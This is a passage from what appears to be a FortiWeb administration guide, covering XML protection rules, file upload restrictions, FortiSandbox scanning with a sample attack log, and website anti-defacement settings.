Request URL	Depending on your selection in Request URL type (page 584), enter either: • Simple String—The literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the rule. The URL must begin with a slash (<code>/</code>). • Regular Expression—A regular expression, such as <code>^/*\.php</code>, matching the URLs to which the rule should apply. The pattern does not require a slash (<code>/</code>), but it must match URLs that begin with a slash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in Host (page 584). To test a regular expression, click the >> (test) icon. This icon opens the Regular Expression Validator window from which you can fine-tune the expression. For details, see "Regular expression syntax" on page 829 and "Cookbook regular expressions" on page 836.
Schema Validation	Optionally, select an XML schema file. For details, see "Importing XML schema files" on page 582. Note: If you upload an XML schema file that references other

	XML schema files, the other XML schema files must also be uploaded to FortiWeb.
XML Limits	Enable to define limits for attributes, CDATA, and elements.
Attribute	Enter the maximum number of attributes for each element. The valid range is 1–256. The default value is 32.
Attribute Name Length	Enter the maximum attribute name length (in bytes) of each element. The valid range is 1–1,024. The default value is 64.
Attribute Value Length	Enter the maximum attribute value length (in bytes) of each element. The valid range is 1–2,048. The default value is 1,024.
CDATA Length	Enter the maximum Character Data (CDATA) length (in bytes) in XML. The valid range is 1–4,096. The default value is 4,096.
Element Depth	Enter the maximum element depth in XML. The valid range is 1–256. The default value is 20.
Element Name Length	Enter the maximum element name length (in bytes) in XML. The valid range is 1–1,024. The default value is 64.
Forbidden XML Entities	Enable to configure limits for the below XML entities.
External Entity	Enable to trigger the Action (page 585) if an HTTP request contains an external entity in XML.
Entity Expansion	Enable to trigger the Action (page 585) if an HTTP request contains an XML recursive entity expansion.
Action	Select which action FortiWeb will take when it detects a violation of the rule: • Alert—Accept the connection and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 586). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see

["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you **must** also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

- **Redirect**—Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure [Redirect URL](#) (page 269) and [Redirect URL With Reason](#) (page 269).
- **Send 403 Forbidden**—Reply with an HTTP 403 `Access Forbidden` error message and generate an alert and/or log message.

The default value is **Alert**. See also ["Reducing false positives"](#) on page 751.

Caution: This setting will be ignored if [Monitor Mode](#) (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If the **Action** is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Enter the amount of time (in seconds) that you want to block subsequent requests from a client after FortiWeb detects a rule violation. This setting is available only when [Action](#) (page 585) is set to **Period Block**.

The valid range is 1–3,600. The default value is 60.

For details about tracking blocked clients, see ["Monitoring currently blocked IPs"](#) on page 735.

Severity

When FortiWeb records rule violations in the attack log, each log message contains a **Severity Level** field. Select the severity level that FortiWeb will record when the rule is violated:

- Low
- Medium
- High

The default value is **Low**.

Trigger Policy

Select the trigger, if any, that FortiWeb carries out when it logs and/or sends an alert email about a rule violation. For details, see ["Viewing log messages"](#) on page 706.

4. Click **OK**.

To add an XML protection rule to an XML protection policy

For details about creating an XML protection policy, see ["Creating XML protection policies"](#) on page 587.

1. Go to **XML Protection > XML Protection Policy**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Select the existing XML protection policy to which you want to add the XML protection rule.
3. Click **Edit**.
4. Click **Create New**.
5. For **Rule**, select the XML protection rule that you want to include in the XML protection policy.

Note: To view details about a selected XML protection rule, click the view icon next to the drop down list.

6. Click **OK**.
7. Repeat Steps 4-6 for as many XML protection rules as you want to add to the XML protection policy.

Creating XML protection policies

You can configure an XML protection policy so that FortiWeb will:

- Enforce customizable rules for acceptable XML content in HTTP requests, including limits for names, values, depth, and other attributes
- Prevent forbidden XML entities from making requests

Each policy can contain up to 256 XML protection rules.

Optionally, policies can also include XML schema files to describe the acceptable structure of an XML document that FortiWeb can use to enforce XML protection policies.

XML Protection Policies are enforced by selecting them in an active inline Web Protection Profile.

This section provides instructions to:

- Create an XML protection policy
- Select an XML protection policy in a web protection profile

To create an XML protection policy

1. Go to **XML Protection > XML Protection Policy**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. For **Name**, enter a name for the policy. You will use the **Name** to select the policy in a web protection profile. The maximum length is 63 characters.
4. Click **OK**.
5. To add XML protection rules to the policy, see ["To add an XML protection rule to an XML protection policy"](#) on page 587.

To select an XML protection policy in a web protection profile

For details about creating a web protection profile, see ["Configuring a protection profile for inline topologies"](#) on page 261.

1. Go to **Policy > Web Protection Profile**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Select the **Inline Protection Profile** tab.
3. Select an existing web protection profile to which you want to include the XML protection policy.
4. Click **Edit**.
5. For **XML Protection**, select the XML protection policy from the drop down list.

Note: To view details about a selected XML protection policy, click the view icon next to the drop down list.

6. Click **OK**.

Configuring attack logs to retain packet payloads for XML protection

You can configure FortiWeb to retain packet payload information about XML protection rule violations in attack logs. Packet payloads provide part of the data that matches the regular expression specified in an XML protection rule that FortiWeb enforces. This data could help you improve regular expressions in XML protection rules by preventing false positives and analyzing attack behavior to harden security.

For details about retaining packet payload information, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.

To retain packet payload information in attack logs

1. Go to **Log&Report > Log Config > Other Log Settings**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Under **Retain Packet Payload For**, enable **XML Protection**.
3. Click **Apply**.

See also

- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Viewing packet payloads"](#) on page 708
- ["Downloading log messages"](#) on page 709

Limiting file uploads

You can configure FortiWeb to perform the following tasks:

- Restrict file uploads based upon file type and size.
- Scan uploaded files for viruses and Trojans.
- Submit uploaded files to FortiSandbox for evaluation and generate attack log messages for files that FortiSandbox has identified as threats.

Set restrictions according to file type and size in file security rules. Group multiple file security rules into a file security policy. Also use a file security policy to specify how FortiWeb scans for viruses and Trojans in files.

Restricting uploads by file type and size

To perform file detection and restriction by file type and size, FortiWeb scans `multipart/form-data; boundary=...` in the `Content-Type`: request header and parses files submitted to your web server(s).

For example, if you want to allow only specific types of files (MP3 audio files, PDF text files, and GIF and JPG picture files) to be uploaded to:

`http://www.example.com/upload.php`

create file security rules that define only those specific file types for that URL. When FortiWeb receives an HTTP PUT or POST request for the `/upload.php` URL with `Host: www.example.com`, it scans the HTTP request and allows or blocks the specified file types to be uploaded. FortiWeb blocks file uploads for any HTTP request that contains non-specified file types. When you create file security rules that define acceptable file types, you can also specify size limits for those file types.

Restrict uploads by file type and size in file security rules. For details, see ["To configure a file security rule"](#) on page 592.



FortiWeb applies file upload limits based on file type and size to only files that use `multipart/form-data`. Other file types are still scanned for viruses and Trojans according to a file security policy, but you cannot set file restrictions based on file type and size for them.

Using FortiSandbox to evaluate uploaded files

You can configure FortiWeb to submit all files that match your upload restriction rules to FortiSandbox. FortiWeb packs each of the files in TAR format and sends the TAR archives to FortiSandbox.

FortiSandbox evaluates whether files pose a threat and returns the results to FortiWeb. If FortiSandbox determines that the file is malicious, FortiWeb performs the following tasks:

- Generate an attack log message that contains the result (for example, messages with the Alert action in the illustration).

- Take the action specified in the file security policy. During this time, FortiWeb does not resubmit the file to FortiSandbox (for example, messages with the Alert_Deny action in the illustration).



By default, FortiWeb does not log a file transfer to FortiSandbox. You can manually enable it through the CLI command `set elog enable in system fortisandbox`. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

When `elog` is enabled, FortiWeb generates a log only if a file is successfully transferred to FortiSandbox. No logs are generated for failed transfers. You can see the logs in **Log&Report > Log Access > Event**.

Example attack log with FortiSandbox file scan results

#	Date/Time	Level	Source Country	Policy	Source	Destination	Action	Message
1202	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [edig-b.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1203	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [edig-a.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1204	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [eddie.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1205	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [glg-465.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1206	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [glg-465.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1207	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [elcar.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1208	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [elcar.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1209	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [elcar.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1210	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [f.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1211	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [f.zip] risk level[malicious] details [N/A]: FortiSandbox file detection
1212	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [PowerTool.exe] risk level[suspicious medium] details [Grayware]: FortiSandbox file detection
1213	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [PowerTool.exe] risk level[suspicious medium] details [Grayware]: FortiSandbox file detection
1214	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [elcar.com.tgz] risk level[malicious] details [N/A]: FortiSandbox file detection
1215	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert	filename [elcar.com.tgz] risk level[malicious] details [N/A]: FortiSandbox file detection
1216	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation
1217	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation
1218	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation
1219	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation
1220	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation
1221	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation
1222	04-13 06:51	*****	Reserved	FWB_Policy_Default_AutoTest	10.12.102.6	10.12.95.1	Alert_Deny	filename [10M_including_4mlvt2.zip] virus name [Arcv.795]: File upload virus violation

To configure a FortiSandbox connection

- Go to **System > Config > FortiSandbox**.
- Complete the settings according to the below table:

FortiSandbox Type	FortiSandbox Appliance—Submit files that match the upload restriction rules to a FortiSandbox physical appliance or FortiSandbox-VM. FortiSandbox Cloud—Submit files to FortiSandbox Cloud. Requires you to register your FortiWeb and a FortiWeb FortiGuard Sandbox Cloud Service subscription.
Server IP / Domain	Enter the IP address or domain name of the FortiSandbox. Available only when FortiSandbox Appliance is selected.
Secure Connection	Enable to communicate with the specified FortiSandbox using SSL.
Cache Timeout	After it receives the FortiSandbox results, FortiWeb takes the action specified by the file security policy. During this time, it does not re-submit the file to FortiSandbox. The valid range is 1-168 hours. The default value is 72.

Admin Email	Enter the email address that FortiSandbox sends weekly reports and notifications to.
Statistics Interval	Specifies how often FortiWeb retrieves statistics from FortiSandbox, in minutes. The valid range is 1-60 minutes. The default value is 5.

3. Click **Apply**.

To configure a file security rule

1. Go to **Web Protection > Input Validation > File Security** and select the **File Security Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permissions to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. In **Name**, enter a unique name that can be referenced by other parts of the configuration. The maximum length is 63 characters.

4. In **Type**, select one of the following:

Allow File Types—the file security rule will *allow* the specified file type(s).

Block File Types—the file security rule will *block* the specified file type(s).

[Step 9](#) on page 592 allows you to determine which file types to allow or block, depending on the **Type** you selected.

5. If you want to apply this file security rule to requests for a specific web host:

- Enable **Host Status**.
- From **Host**, select the IP address or FQDN of a protected host.

Disable **Host Status** to match the file security rule based upon the other criteria, such as the URL, regardless of the `Host:` field.

6. If you want to apply this file security rule to a specific URL:

In **Request URL**, type the URL, such as `/upload.php`, to which the file security rule will apply. The URL must begin with a slash (/). Do not include the name of the host, such as `www.example.com`, which is configured separately in the **Host** drop-down list above.

7. In **File Upload Limit**, enter a number to represent the maximum size in kilobytes for any individual file. The file security rule rejects allowed files larger than this number. The maximum values are:

102400 KB: FortiWeb 100D, 400C, 400D, 600D, 1000C, 3000CFsx, 3000DFsx, 4000C

204800 KB: FortiWeb 1000D, 2000D, 3000D, 4000D, 1000E, 2000E, 3010E

358400 KB: FortiWeb 3000E, 4000E

Note: FortiWeb applies file upload limits to only files that use multipart/form-data.

8. Click **OK**.
9. To add file types to the file security rule, click **Create New**.

10. In the **File Types** pane, select the file type(s) to which you want file security rule to apply, then click the right arrow  to include the file type(s).



Microsoft Office Open XML file types such as .docx, .xlsx, .pptx, and .vsdx are a type of ZIP-compressed XML. If you specify restrictions for them, those signatures will take priority. However, if you do **not** select a MSOOX restriction but **do** have an XML or ZIP restriction, the XML and ZIP restrictions will still apply, and the files will still be restricted.

11. Click **OK**.

To create a file security policy

1. Go to **Web Protection > Input Validation > File Security** and select the **File Security Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permissions to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Action	Select which action FortiWeb will take when it detects a violation of a rule in the policy: • Alert—Accept the connection and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 594). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation

of this type. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

The default value is **Alert & Deny**.

Caution: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 593) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated a rule in the policy.

This setting is available only if **Action** (page 593) is set to **Period Block**. The valid range is from 1 to 3,600 seconds. The default value is 60. For details, see ["Monitoring currently blocked IPs"](#) on page 735.

Severity

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is **Low**.

Trigger Action

Select which trigger action, if any, that FortiWeb will carry out when it logs and/or sends an alert email about a violation of the rule. For details, see ["Viewing log messages"](#) on page 706.

Trojan Detection

Attackers may attempt to upload Trojan horse code (written in scripting languages such as PHP and ASP) to the back-end web servers. The Trojan then infects clients who access an infected web page. **You must also configure a file security rule in which you enable Antivirus Scan.**

Attack log messages contain the file name and signature ID (for example, `filename [eicar.com] virus name [EICAR_TEST_FILE]: Waf anti-virus`) when this feature detects a possible virus.

To configure which database of signatures to use, select either

[Regular Virus Database](#) (page 191), [Extended Virus Database](#) (page 191) or [Use FortiSandbox Malware Signature Database](#) (page 191). For details, see "[Choosing the virus signature database & decompression buffer](#)" on page 190.

Caution: Files greater than the scan buffer configured in [Maximum Antivirus Buffer Size](#) (page 191) are too large for FortiWeb to decompress, and will pass through without being scanned. **This could allow malware to reach your web servers.** To **block** oversized files, you **must** configure [Body Length](#) (page 574).

Caution: To remain effective as new malware emerges, it is vital that your FortiWeb can connect to FortiGuard services to regularly update its engine and signatures. Failure to do so will cause this feature to become less effective over time, and may allow viruses to pass through your FortiWeb. For instructions on how to verify connectivity and enable automatic updates, see "[Connecting to FortiGuard services](#)" on page 187.

Antivirus Scan

Enable to scan for viruses, malware, and greyware.

Attackers often modify the HTTP header so that `Content-Type` indicates an allowed file type even though the byte code contained in the body is actually a virus. This scan ensures that the request actually contains the file type specified by `Content-Type`: and is not infected.

Send files to FortiSandbox

Enable to send matching files to FortiSandbox for evaluation.

Also specify the FortiSandbox settings for your FortiWeb. For details, see "[To configure a FortiSandbox connection](#)" on page 591.

FortiSandbox evaluates the file and returns the results to FortiWeb.

If [Antivirus Scan](#) (page 595) is enabled and FortiWeb detects a virus, it does not send the file to FortiSandbox.

Scan attachments in Exchange Email

Enable to scan attachments in Exchange Email using ActiveSync or MAPI over HTTP protocols. If enabled, FortiWeb will perform Trojan detection, an antivirus scan, and will send the attachments to FortiSandbox.

FortiWeb doesn't support scanning attachments in applications based on RPC over HTTP protocol. This protocol is also known as Outlook Anywhere and is used in Outlook 2007 and earlier versions.

Note: To perform Trojan detection, an antivirus scan, and send attachments to FortiSandbox, you must enable [Antivirus Scan](#) (page 595), [Trojan Detection](#) (page 594), and [Send files to FortiSandbox](#) (page 595), respectively, in the file security policy.

Exchange Protocol

Available only when [Scan attachments in Exchange Email](#) (page

595) is enabled. Select one or both of the following options:

- OWA—FortiWeb will scan attachments in Exchange Email sent and received via a web browser login.
- ActiveSync—FortiWeb will scan attachments in Exchange Email sent and received via a mobile phone login.

4. Click **OK**.

5. To include a rule in the file security policy, click **Create New**.

6. From the **File Security Rule** drop-down list, select an existing file security rule that you want to use in the policy.

To view or change the information associated with the item, select the **Detail**  icon. The **File Security Rule** appears. Use your browser's **back** button to return.

7. Click **OK**.

8. Repeat steps 16 through 18 for each rule that you want to add to the file security policy.

9. To apply the file security policy, select it in an inline or Offline Protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261 or "[Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)" on page 270.

See also

- "[Connecting to FortiGuard services](#)" on page 187
- "[How often does Fortinet provide FortiGuard updates for FortiWeb?](#)" on page 193
- "[IPv6 support](#)" on page 60

Anti-defacement

The anti-defacement features monitors your websites for defacement attacks. If it detects a change, it can automatically reverse the damage.

This feature can be especially useful if you are a hosting provider with many customers, such as favorite local restaurants or community associations, who have basic web pages that should not be changed, but it is impractical to manually monitor them on a continuous basis.



Anti-defacement backs up web pages only, **not** databases.

Content that will **not** be backed up includes all database-driven content that is inserted into web pages using AJAX, PHP, JSP, ASP, or ColdFusion, such as stepin boards, forums, blogs, and shopping carts: page content does **not** reside within the page markup itself, but instead resides in a back-end database that is queried and whose results are dynamically inserted into page content at runtime when the client requests a page.

Separately from configuring anti-defacement, you should regularly back up MySQL, Oracle, PostgreSQL, and other databases and defend them with controls such as FortiDB (<https://www.fortinet.com/products/fortidb>).

The anti-defacement feature examines a website's files for changes at specified time intervals. If it detects a change that could indicate a defacement attack, the FortiWeb appliance can notify you and quickly react by automatically restoring the website contents to the previous backup.



Before updating a website where you are using website anti-defacement, disable both the **Enable Monitor** and **Restore Changed Files Automatically** options. Otherwise, the FortiWeb appliance will perceive your changes as a defacement attempt and undo them.

To configure anti-defacement

1. Go to **Web Protection > Web Anti-Defacement** and select the **Anti Defacement** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Anti-Defacement Management** category. For details, see "[Permissions](#)" on page 85.

Anti Defacement							
Anti Defacement File Filter							
+ Create New Edit Delete View Revert Refresh							
#	Name	Hostname/IP	Monitor	Connected	Total Files	Total Backup	Total Changed
1	support.example.com	172.30.176.50	Disable	—	0	0	0
2	shop.example.com	172.30.176.50	Enable	—	0	0	0
3	product.example.com	172.30.176.50	Enable	—	0	0	0

Monitor

Indicates whether or not anti-defacement is currently enabled for the website.

- **Green icon**—Anti-defacement is enabled.

	• Flashing yellow-to-red icon—Anti-defacement is off because the Enable Monitor option is disabled.
Connected	Indicates the connection results of the FortiWeb appliance's most recent attempt to connect to the website's server. • Green check mark icon —The connection was successful. • Red X mark icon—The FortiWeb appliance was unable to connect. Verify the IP address/FQDN and login credentials of your anti-defacement configuration. If these are valid, verify that connectivity has not been interrupted by dislodged cables, routers, or firewalls.
Total Files	Displays the total number of files on the website.
Total Backup	Displays the total number of files that have been backed up onto the FortiWeb appliance for recovery purposes. Those files that you choose not to monitor will not be backed up.
Total Changed	Displays the total number of files that have changed. Click the number to see an itemized list of the changed files.

2. Click **Create New**.

Alternatively, click an entry to view its contents, then click the **Edit** button.

3. Configure these settings:

Web Site Name	Type a name for the website. This name is not used when monitoring the website. It does not need to be the website's FQDN or virtual host name.
Description	Enter a comment up to 63 characters long. This field is optional.
Enable Monitor	Enable to monitor the website's files for changes, and to download backup revisions that can be used to revert the website to its previous revision if the FortiWeb appliance detects a change attempt. Note: While you are intentionally modifying the website, you must turn off this option and Restore Changed Files Automatically (page 600). Otherwise, the FortiWeb appliance will detect your changes as a defacement attempt, and undo them.
Hostname/IP Address	Type the IP address or FQDN of the web server on which the website is hosted. This will be used when connecting by SSH or FTP to the website to monitor its contents and download backup revisions, and therefore could be different from the host name that may appear in the <code>Host :</code> field of HTTP headers. For example, clients might connect to the public DNS name <code>www.example.com</code>, while FortiWeb would connect using the web server's private network IP address, <code>192.168.1.1</code>.

Connection Type	Select which protocol (FTP , SSH , or Windows Share) to use when connecting to the website in order to monitor its contents and download website backups.
FTP/SSH Port	Enter the TCP port number on which the website's real server listens. The standard port number for FTP is 21; the standard port number for SSH is 22. This field appears only if Connection Type (page 599) is FTP or SSH.
Windows Share Name	Type the name of the shared folder on the web server, such as <code>Share</code>. Do not include the CIFS host name or workgroup name. This field appears only if Connection Type (page 599) is Windows Share.
Folder of Web Site	Type the path to the website's folder, such as <code>public_html</code> or <code>wwwroot</code>, on the real server. The path is relative to the initial location when logging in with the user name that you specify in User Name (page 599). This field appears only if Connection Type (page 599) is FTP or SSH.
File Filter	Select an optional anti-defacement file filter. The anti-defacement file filter is a list of folder (directory) or file names that the anti-defacement feature does not monitor, or a list of items that anti-defacement always monitors. For details, see "Specifying files that anti-defacement does not monitor" on page 601.
User Name	Enter the user name, such as <code>FortiWeb</code> , that the FortiWeb appliance will use to log in to the website's real server.
Password	Enter the password for the user name you entered in User Name (page 599).
Alert Email Policy	From the drop-down list, select existing email settings that contains one or more recipient email addresses (<code>MAIL TO:</code>) to which the FortiWeb appliance sends an email when it detects that the website has changed.
Monitor Interval for Root Folder	Enter the time interval in seconds between each monitoring connection from the FortiWeb appliance to the web server. During this connection, the FortiWeb appliance examines Folder of Web Site (page 599) (but not its subfolders) to see if any files have changed by comparing the files with the latest backup. If it detects any file changes, the FortiWeb appliance will download a new backup revision. If you have enabled Restore Changed Files Automatically (page 600), FortiWeb will revert the files to their previous version.

	For details, see "Reverting a defaced website" on page 603.
Monitor Interval for Other Folder	Enter the time interval in seconds between each monitoring connection from the FortiWeb appliance to the web server. During this connection, the FortiWeb appliance examines subfolders to see if any files have been changed by comparing the files with the latest backup. If any file change is detected, the FortiWeb appliance will download a new backup revision. If you have enabled Restore Changed Files Automatically, the FortiWeb appliance will revert the files to their previous version. For details, see "Reverting a defaced website" on page 603.
Maximum Depth of Monitored Folders	Type how many folder levels deep to monitor for changes to the website's files. Files in subfolders deeper than this level are not backed up.
Skip Files Larger Than	Type a file size limit in kilobytes (KB) to indicate which files will be included in the website backup. Files exceeding this size will not be backed up. The default file size limit is 10 240 KB. Note: Backing up large files can impact performance.
Skip Files With These Extensions	Type zero or more file extensions, such as <code>iso</code>, <code>avi</code>, to exclude from the website backup. Separate each file extension with a comma. Note: Backing up large files, such as video and audio, can impact performance.
Restore Changed Files Automatically	Enable to automatically restore the website to the previous revision number when FortiWeb detects that the website has been changed. Disable to do nothing. You can manually restore the website to a previous revision when the FortiWeb appliance detects that the website has been changed. For details, see "Reverting a defaced website" on page 603. Alternatively, you can manually revert all or some of the individual file changes that FortiWeb detects. For details, see "Accepting or reverting changed files" on page 602 Note: While you are intentionally modifying the website, you must turn off this option and Enable Monitor (page 598). Otherwise, the FortiWeb appliance detects your changes as a defacement attempt, and undoes them. Note: FortiWeb does not restore your back-end database, if any. If the website has been defaced using SQL injection or similar attacks and its database-driven content has been affected, even if this option is enabled, you need to manually restore the database. You cannot enable this setting when Acknowledge Changed File

Automatically (page 601) is selected.

Acknowledge Changed File Automatically

Enable to automatically accept changes to the website when FortiWeb detects that the website has been changed.

You cannot enable this setting when **Restore Changed Files Automatically** (page 600) is selected.

Alternatively, you can manually acknowledge all or some of the changes that FortiWeb detects. For details, see ["Accepting or reverting changed files"](#) on page 602

4. Click **Test Connection** to test the connection between the FortiWeb appliance and the web server.
5. Click **OK**.

During the next interval, FortiWeb should connect to download its first backup. You should notice that **Total Files** and **Total Files** will increase, and **Connected** should become and remain a green check mark.

If not, first verify the login and IP address that you provided. Also, on the web server, check the file system permissions for the account that FortiWeb is using to connect. FortiWeb must be able to both read and, if it will be restoring files, write to the folder and files. On Microsoft Windows, you may need to examine your security policy configuration to make sure that the account is authenticating as itself, and is not degrading to the guest account.

Verify that a route exists between the FortiWeb and the web server, and that connectivity is reliable, with no packet loss. Also verify that any routers or firewalls between them, including Windows Firewall, are not blocking SSH, FTP, or CIFS connections. Other troubleshooting varies by the protocol that FortiWeb is using to connect, such as checking for a compatible protocol version and cipher suite.

See also

- ["Reverting a defaced website"](#) on page 603
- ["Anti-defacement"](#) on page 597

Specifying files that anti-defacement does not monitor

You can create a list of folder (directory) or file names that the anti-defacement feature does not monitor. You can also create a list of items that anti-defacement always monitors.

FortiWeb applies the filters in these lists to any website you configure using **Web Protection > Web Anti Defacement > Anti Defacement**.

To configure anti-defacement file filtering

1. Go to **Web Protection > Web Anti Defacement** and select the **Anti Defacement File Filter** tab.
2. Click **Create New**.
3. Configure these settings:

Name	Type a name for the filter.
Filter Type	Specify the type of list to create: • Black File List—A list of the names of folders and files that the anti-defacement feature does not monitor. FortiWeb monitors all other folders and files. • White File List—A list of the names of folders and files that the anti-defacement feature monitors. FortiWeb does not monitor any other folders or files. FortiWeb still applies criteria in the anti-defacement configuration to these items. For example, if the file size exceeds the maximum, FortiWeb does not monitor it.

4. Click **OK**.

5. Click **Create New** and configure these settings:

File Type	Specify the type of item to add to the list: • Directory—A folder or directory path. • Standard File —A file.
File Name	Enter the name of the folder or file to add to the list. Ensure that the name exactly matches the folder or file that you want to specify. For Directory items, include the / (forward slash). For example, if File Type (page 602) is Directory and you want to add a folder <code>abc</code> that is under the root folder of a website, enter <code>/abc</code>. You can restrict the filter condition to a specific file by including file path information in File Name. For example, a website contains many files with the name <code>123.txt</code>. To specify the instance located in the <code>abc</code> folder only, enter <code>/abc/123.txt</code>.

6. Repeat the filter member creation steps until the list contains all the required folder and file names.

Accepting or reverting changed files

The anti-defacement feature maintains a list of files that have changed for each website it monitors. You can use this list to review, accept, and revert the changes.

To restore all the website files, see ["Reverting a defaced website"](#) on page 603.

Alternatively, to automatically acknowledge all changes to files (for example, if you are updating the website), use the **Acknowledge Changed File Automatically** (page 601) setting in the website's anti-defacement configuration.

To accept or revert changed files

1. Go to **Web Protection > Web Anti-Defacement** and select the **Anti Defacement** tab. For the appropriate website, click the value in the Total Changed column.
2. Do one of the following:
